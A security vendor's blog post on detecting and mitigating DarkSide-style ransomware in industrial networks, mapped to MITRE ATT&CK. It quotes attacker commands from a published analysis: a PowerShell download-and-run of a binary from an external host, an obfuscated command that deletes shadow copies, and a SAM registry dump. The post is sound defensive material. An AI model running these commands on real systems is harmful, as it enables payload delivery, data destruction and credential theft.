Ransomware Detection and Mitigation Strategies in OT/ICS Environments

On 9 May 21, the Federal Bureau of Investigation (FBI) issued a statement regarding a network disruption at Colonial Pipeline, one of the largest fuel pipelines servicing the eastern United States.

Following immediate operational shutdowns and further initial investigation, the FBI confirmed that the DarkSide ransomware was responsible for the compromise. Furthermore, with fears of fuel shortages looming, a comprehensive federal response was initiated.

With ransomware tactics evolving at a rapid pace, it has become critical for organizations to better understand ransomware deployment techniques, indicators of compromise and potential ransomware detection mechanisms, along with appropriate mitigation strategies.

What is Ransomware?

Ransomware is a type of malicious software used by cybercriminals to encrypt a user or organization’s digital data (e.g., files, applications, databases) to block access until a ransom demand is met, generally in the form of a cryptocurrency payment. An extension of this is double extortion ransomware, whereas adversaries not only demand payment in exchange for access, but also include an additional demand to prevent them from publishing sensitive data.

In the past couple of years, triple extortion tactics have gained some ground as well with adversaries making ransom demands directly to an attacked organization’s users or customers, as well as conducting denial of service attacks.

Ransomware Tactics and Deployment Techniques

Ransomware tactics and deployment techniques have evolved drastically over the last few years and understanding the various attack vectors is key in defending against these types of cyberattacks. Some of the more common means for distributing ransomware include the following:

Deployment Technique	Description
Email Phishing	Email recipients are tricked into clicking on a malicious link or opening a file attachment that contains malware
Social Media	Legitimate looking links located on common social media sites/applications that redirect to malicious websites
Malvertising	Fake advertisements displayed on websites that redirect victims to malicious websites
Drive-By Downloads	Malware in the form of viruses, keyloggers, trojans, and remote access tools that is unintentially dowloaded
Removable Media	Storage devices, such as USB flash drives, containing malicious software that can spread to other devices/systems by unsuspecting users who connect them to their systems
Remote Desktop Protocol (RDP)	RDP client software is used to gain remote access to systems with privilege escalations then used to access additional systems/networks

Ransomware Detection Techniques

Ransomware and related cyberattacks have the capability to severely impact organizations of all sizes and across multiple industries and sectors. The DarkSide attack on Colonial Pipeline, along with other ransomware examples such as Snake/EKANS that targeted Honda manufacturing plants, highlight the growing need to protect national critical infrastructure.

In our What is ICS Security? How to Defend Against Attacks blog, we take a deep dive into illustrating industrial control system (ICS) components and associated processes, along with highlighting some of the ongoing challenges of protecting such environments. Security mechanisms and standards within ICS environments have historically been limited and detection of cyberattacks remains a primary challenge.

Furthermore, in our two-part blog series (part 1 and part 2), we examine the need for safeguarding utility critical infrastructure, but also demonstrate how a security operations center (SOC) can use real-time monitoring for detection and response within a supervisory control and data acquisition (SCADA) network.

To assist in defining monitoring strategies, MITRE has created the ATT&CK for ICS knowledge base that contains an overview of some common tactics and techniques used by adversaries operating within an ICS network that builds on the ATT&CK for Enterprise.

How to Detect Ransomware with MITRE ATT&CK

To quickly illustrate the usefulness of the MITRE ATT&CK knowledge base, along with how an organization might test their ability to defend against different types of ransomware, we have used KnowBe4’s RanSim simulation tool in conjunction with the LogRhythm MITRE ATT&CK KB Module.

Using the simulator, the primary LogRhythm MITRE ATT&CK detection was LogRhythm AI Engine (AIE) event T1059:Command and Scripting Interpreter which is based on MITRE ATT&CK Technique: Command and Scripting Interpreter: T1059.

The real key to this ransomware detection is called out in MITRE’s detection section “Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments.” Command line auditing is not enabled by default on Windows systems, but more information on how to enable this feature can be found via Microsoft’s Command Line Process Auditing documentation.

While not necessarily part of our observation, but worth calling out, organizations really should be auditing and collecting PowerShell logs (Microsoft’s PowerShell Team also maintains a great blog on this subject). Specifically, in the Colonial Pipeline ransomware attack, further details have emerged that the DarkSide ransomware uses PowerShell as part of the attack. Malwarebytes Labs, noted that DarkSide uses “Windows PowerShell to delete shadow volume copies on compromised systems” and “a particular string of PowerShell code to perform this action.”

As illustrated below, when we ran the KnowBe4 simulation, the LogRhythm AIE event, T1059:Command and Scripting Interpreter, presents valuable information that an analyst can use to take action and quickly determine if a threat exists. By quickly seeing the process name of CMD.EXE and the command line of c:\windows\system32\cmd.exe /c c:\kb4\rassim\prepare.bat /s /q “c:\kb4\rassim\datadir\tests, an analyst can determine that this is suspicious and worth investigating further.

In performing an AIE Drill Down, an analyst can see the actual logs that triggered the event. In our case, two logs have been identified with one from Microsoft Security Audit, Event ID 4688, and the other from Microsoft Sysmon, Event ID 1. Both logs are observing a Process Start event.

An interesting item to note is that the parent process, WMIPRVSE.EXE, is spawning the CMD.EXE process. In general, this is suspicious behavior and likely something that should be investigated.

Cybereason’s Observations and DarkSide Ransomware Detection by LogRhythm

Lior Rochberger recently wrote a blog, Cybereason vs. DarkSide Ransomware, that focused on two primary areas of the DarkSide ransomware functionality. The first, “After successfully gaining a foothold on one machine in the environment, the attacker begins to move laterally in the environment, with the main goal of conquering the Domain Controller (DC).” This implies that the best way to detect and respond before ransomware is deployed against an environment is to detect and respond to the initial compromise and focus detection, especially on Active Directory servers.

The second area of focus involves techniques noted in the following MITRE ATT&CK observations:

• 001 Command and Scripting Interpreter: PowerShell
• T1053 Scheduled Task/Job
• T1087 Account Discovery
• T1082 System Information Discovery
• T1083 File and Directory Discovery
• T1057 Process Discovery
• T1105 Ingress Tool Transfer
• T1012 Query Registry

 

T1059.001 Command and Scripting Interpreter: PowerShell

As previously noted, it is highly recommended that PowerShell logs are collected in all environments and additional PowerShell logging configured via Group Policy. Among additional observations, Cybereason notes that the DarkSide ransomware utilizes PowerShell to achieve its mission.

LogRhythm’s AIE rule T1059.001:PowerShell would likely detect the PowerShell observations. Here are some detection examples:

• “The attackers use PowerShell to download the DarkSide binary as exe using the DownloadFile command, abusing Certutil.exe and Bitsadmin.exe in the process.”
  • “powershell -Command “(New-Object Net.WebClient).DownloadFile(“http:…/update.exe’,’C:\Windows\update.exe’)”
    • PowerShell Event ID (LogRhythm refers to Event IDs in the platform as Vendor Message IDs or VMID. We will be referring to VMID for the remainder of this blog) 800, Command (a parsed field based on the raw PowerShell log) new-object, and Subject (a parsed field based on the raw PowerShell log) containing WebClient will likely be a starting place in a threat hunt to determine if suspicious Net.WebClient activity is found.
  • “…Create a shared folder using the company’s name on the DC, itself, and copies the DarkSide binary. Later in the attack, after all data has been exfiltrated, the attackers use exe to distribute the ransomware binary from the shared folder to other assets in the environment in order to maximize the damage:
    • “powershell -Command “(New-Object Net.WebClient).DownloadFile(‘\\uncPath\Netlogon\update\update.exe’,’C:\Windows\update.exe’)””
      • Using the previous hunt, an analyst can search further for a suspicious UNC path in the Subject
    • Obfuscated PowerShell log:
      • “powershell -ep bypass -c “(0..61)|%($s+=[char][byte](‘0x’+’4765742D576D694F626A6563742057696E33325F536861645F77636F7079207C20466F72456163682D4F626A65637407B245F2E44656C65746528293B7D20’.Substring(2*$_,2))};iex $s””
        • Searching the logs for bypassing execution policy (–ep bypass) and Invoke-Expression (IEX) are found in this obfuscated example. Although, an analyst may not be able to tell what the obfuscated command is without doing some de-obfuscation techniques, seeing the execution policy bypass along with Invoke-Expression is enough to determine a likely security incident.
          • A benefit of enabling PowerShell Module Logging is that it would likely log the de-obfuscated command, located via VMID 4103.
          • A benefit of Script Block Logging is it will log the de-obfuscated command and full execution details, located via VMID 4104.
          • As noted by Cybereason, the de-obfuscated code is Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}

 

T1053 Scheduled Task/Job

LogRhythm’s AIE rule T1053:Scheduled Task/Job, would likely detect the Scheduled Task/Job observations. Some common log sources (and their corresponding VMIDs) that contain logs of scheduled task activity include the following:

• Microsoft-Windows-TaskScheduler (Detection section)
  • Event ID 106 on Windows 7, Server 2008 R2 – Scheduled task registered
  • Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 – Scheduled task updated
  • Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 – Scheduled task deleted
  • Event ID 4698 on Windows 10, Server 2016 – Scheduled task created
  • Event ID 4700 on Windows 10, Server 2016 – Scheduled task enabled
  • Event ID 4701 on Windows 10, Server 2016 – Scheduled task disabled
• Log Source Type MS Windows Event Logging – PowerShell: VMID 800 (if PowerShell is used in conjunction with a scheduled task)
• Log Source Type MS Windows Event Logging XML – Security: VMID 4688 and Log Source Type MS Windows Event Logging XML – Sysmon: VMID 1 (if a process, such as CMD, is involved with a scheduled task)

As Cybereason noted, “…the attackers create a scheduled task called Test1 that is configured to execute the ransomware.” LogRhythm would likely detect this activity through the commands or process named schtasks.exe or at.exe. An analyst would then need to review the detections for suspicious activity that would likely indicate a compromise, such as a scheduled task being created or executed that contains an obfuscated PowerShell script.

Additionally, an analyst could also perform a threat hunt by looking in the Log Source Type MS Windows Event Logging – Task Scheduler for VMID 200 and 129 for the name Test1 in the parsed field Process Name. An analyst could also develop a list of known good scheduled tasks and search for or alert on a scheduled task that is not contained in the list.

 

T1087 Account Discovery

LogRhythm’s AIE rule T1087:Account Discovery would likely detect the account discovery observations. The primary method in our detection is looking at common command arguments that have a strong indicator that account discovery is occurring. The primary log source types and VMIDs for this type of detection are:

• MS Windows Event Logging – PowerShell: VMID 4104
• MS Windows Event Logging XML – Security: VMID 4688
• MS Windows Event Logging XML – Sysmon: VMID 1

An analyst could perform a threat hunt looking for common commands containing:

• Get-childitem c:\users\
• Get-aduser
• Get-localgroup
• Net localgroup
• Net user

 

T1082 System Information Discovery

LogRhythm’s AIE rule T1082:System Information Discovery would likely detect the system information discovery observations. The primary method in our detection is looking at common command arguments that have a strong indicator that system information discovery is occurring. The primary log source types and VMIDs for this type of detection are:

• MS Windows Event Logging XML – Security: VMID 4688
• MS Windows Event Logging XML – Sysmon: VMID 1

An analyst could perform a threat hunt looking for common commands containing:

• reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum
• systeminfo

An analyst could also perform a threat hunt looking at the following processes:

• reg.exe
• systeminfo.exe

 

T1083 File and Directory Discovery

LogRhythm’s AIE rule T1083:File and Directory Discovery would likely detect file and directory discovery observations. The primary method in our detection is looking at common command arguments that have a strong indicator that file, and directory discovery is occurring. The primary log source types and VMIDs for this type of detection are:

• MS Windows Event Logging XML – Security: VMID 4688
• MS Windows Event Logging XML – Sysmon: VMID 1
• MS Windows Event Logging – PowerShell: VMID 4104

An analyst could perform a threat hunt looking for common commands containing:

• Get-childitem -recurse
• Dir
• Tree

 

T1057 Process Discovery

LogRhythm’s AIE rule T1057:Process Discovery would likely detect process discovery observations. The primary method in our detection is looking at common command arguments that have a strong indicator that process discovery is occurring. The primary log source types and VMIDs for this type of detection are:

• MS Windows Event Logging XML – Security: VMID 4688
• MS Windows Event Logging XML – Sysmon: VMID 1

An analyst could perform a threat hunt looking for common commands containing:

• tasklist

 

T1105 Ingress Tool Transfer

LogRhythm’s AIE rule T1105:Ingress Tool Transfer would likely detect ingress tool transfer observations. The primary method in our detection is looking at common command arguments that have a strong indicator that ingress tool transfer is occurring. The primary log source types and VMIDs for this type of detection are:

• MS Windows Event Logging XML – Security: VMID 4688
• MS Windows Event Logging XML – Sysmon: VMID 1

In LogRhythm, we can create complex logic that combines different logs to identify a specific MITRE ATT&CK technique. In this detection, we are basically looking for shell activity that is accessing a network resource. An analyst should be able to perform a threat hunt using similar methodology where a network connection is associated with a shell command.

As Cybereason highlights, “The attackers use PowerShell to download the DarkSide binary as update.exe using the DownloadFile command, abusing Certutil.exe and Bitsadmin.exe in the process: powershell -Command “(New-Object Net.WebClient).DownloadFile(‘http://externalIP/update.exe’,’C:\Windows\update.exe’).”

This demonstrates PowerShell (shell) being used to download the attacker’s tool. An analyst threat hunt should include looking for a shell (CMD.EXE, and PowerShell.EXE for example) making outbound calls to the Internet. This could be detected by process execution logs as noted above, but also in local firewall logs, or even web proxy logs looking for a default PowerShell string, such as Invoke-WebRequest… Mozilla/5.0 (Windows NT 10.0; Microsoft Windows 10.0.15063; en-US) PowerShell/6.0.0 (see Microsoft documentation Invoke-WebRequest.

 

Additional Observation Not Listed: T1012 Query Registry

One of Cybereason’s observations also included T1012 Query Registry, which was not discussed. LogRhythm has developed AIE rule T1012:Query Registry, where the event was observed running the RanSim test we ran earlier, along with an observation in the Cybereason blog that DarkSide ransomware operators also used “reg.exe to steal credentials stored in the SAM hive on the DC.” The primary method in our detection is looking at REG.EXE process executions that have a strong indicator that registry querying has occurred. The primary log source types and VMIDs for this type of detection include:

• MS Windows Event Logging XML – Security: VMID 4688, 4663
• MS Windows Event Logging XML – Sysmon: VMID 1

Cybereason also notes that “Once the attackers make it to the DC, they start to collect other sensitive information and files, including dumping the SAM hive that stores targets’ passwords: “C:\Windows\system32\reg.exe” save HKLM\SAM sam.save.” Given this, an analyst could look for a process of REG.EXE accessing HKLM\SAM.

Cybereason identifies a few additional MITRE ATT&CK techniques that are not discussed here.

Indicators of Compromise (IOCs) and Threat Hunts

There are numerous methods to leverage published IOCs and perform threat hunts. One method is using the Cybersecurity and Infrastructure Security Agency’s (CISA) recent National Cyber Awareness System Alert AA21-131A: DarkSide Ransomware: Best Practices for Preventing Business Disruption from Ransomware Attacks, which also includes a STIX package of IOCs.

We previously covered how to leverage STIX IOCs within LogRhythm via our How to Detect and Search for SolarWinds IOCs in LogRhythm blog.

Ransomware Mitigation Strategies

In addition to maintaining an awareness of common ransomware detection mechanisms, it is equally important to ensure appropriate mitigation processes and procedures are in place to reduce the risks of ransomware and related cyberattacks. Both the Cybersecurity & Infrastructure Security Agency and the UK’s National Cyber Security Centre offer a wealth of in-depth guidance and resources specifically related to ransomware.

In general, successful ransomware mitigation strategies should encompass the following:

1. Create regular offline (and ideally offsite) backups.
2. Patch all operating systems and software applications on a regular basis.
3. Enable email server content filtering.
4. Generate, retain, and store logs for analysis.
5. Design, review, and exercise incident response and disaster recovery plans.
6. Develop end user security training.
7. Encourage incident reporting.
8. Actively review cybersecurity-related events.

Preventing Ransomware in OT Environments

Cyber threats will undoubtedly continue to increase and evolve in sophistication and maliciousness. With operational systems and networks rapidly integrating with new technologies, the risk of introducing new attack vectors grows exponentially.

Given the physical damage and far-reaching impact that can potentially result from ransomware and related cyberattacks, it has become imperative to protect the ICS/SCADA environments of critical infrastructures, in particular.

While cybersecurity challenges currently exist within this landscape, understanding typical types of attack, deployment techniques, ransomware detection mechanisms, and mitigations strategies can assist in better defending critical infrastructures.

To learn more about detection and response techniques download this white paper, The Complete Guide To Ransomware.